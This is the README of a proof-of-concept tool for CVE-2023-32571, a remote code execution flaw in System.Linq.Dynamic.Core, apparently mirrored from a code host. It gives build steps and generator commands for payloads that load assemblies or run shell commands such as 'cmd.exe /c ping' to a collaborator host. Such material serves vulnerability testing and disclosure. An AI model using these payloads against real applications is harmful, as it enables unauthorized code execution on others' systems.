CVE-2023-32571 PoC — Dynamic Linq 安全漏洞

Description

Proof of Concept for CVE-2023-32571

介绍

# 🐞 CVE-2023-32571 - System.Linq.Dynamic.Core Remote Code Execution

Proof of Concept for CVE-2023-32571, a remote code execution vulnerability in `System.Linq.Dynamic.Core` (1.0.7.10 to 1.2.25). This vulnerability allows attackers to execute arbitrary code and commands when untrusted input to methods including Where, Select, OrderBy is parsed.

## ⚠️ Disclaimer

> This tool is provided for **educational and authorized testing purposes only**. Usage of this tool for attacking targets without prior mutual consent is illegal. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

## 🎯 Prerequisites

- .NET 9.0 SDK or later
- Target application using vulnerable version of System.Linq.Dynamic.Core (1.0.7.10 to 1.2.25)
- A collaborator server (e.g., Burp Collaborator, [Interactsh](https://github.com/projectdiscovery/interactsh)) to observe callbacks

## 🛠️ Building the Project

1. **Build the project:**
   ```bash
   dotnet build --configuration Release
   ```
   The build will produce
   - Payload DLL at `Payload/bin/Release/netstandard2.0/Payload.dll`
   - Payload Generator at `Generator/bin/Release/net9.0/Generator.dll`

## 🚀 Usage

### Modes

The tool supports two modes:
1. AssemblyLoad (Mode 0): Load and execute a custom .NET assembly
2. ProcessStart (Mode 1): Execute system commands directly via Process.Start

### Mode 0: AssemblyLoad (Default)

```bash
# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
```

```pwsh
# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
```

### Mode 1: ProcessStart (Direct Command Execution)

```bash
# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Linux command execution  
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
```

### ⚙️ Parameters

- `--mode`: Exploitation mode (0=AssemblyLoad, 1=ProcessStart)
- `--file`: Path to the .NET assembly to load (required for AssemblyLoad mode)
- `--type`: Fully qualified type name to instantiate (required for AssemblyLoad mode)
- `--parameters`: Parameters based on mode:
  - AssemblyLoad: Constructor parameters (comma-separated)
  - ProcessStart: Command to execute (e.g., 'cmd.exe /c whoami' or 'bash -c whoami')
- `--encoding`: Encoding method for AssemblyLoad mode (0=Hex, 1=Base64)

## 📚 References

- [NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-32571)
- [NCCGROUP Advisory](https://www.nccgroup.com/research-blog/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/)
- [System.Linq.Dynamic.Core GitHub Repository](https://github.com/zzzprojects/System.Linq.Dynamic.Core)

文件快照

备注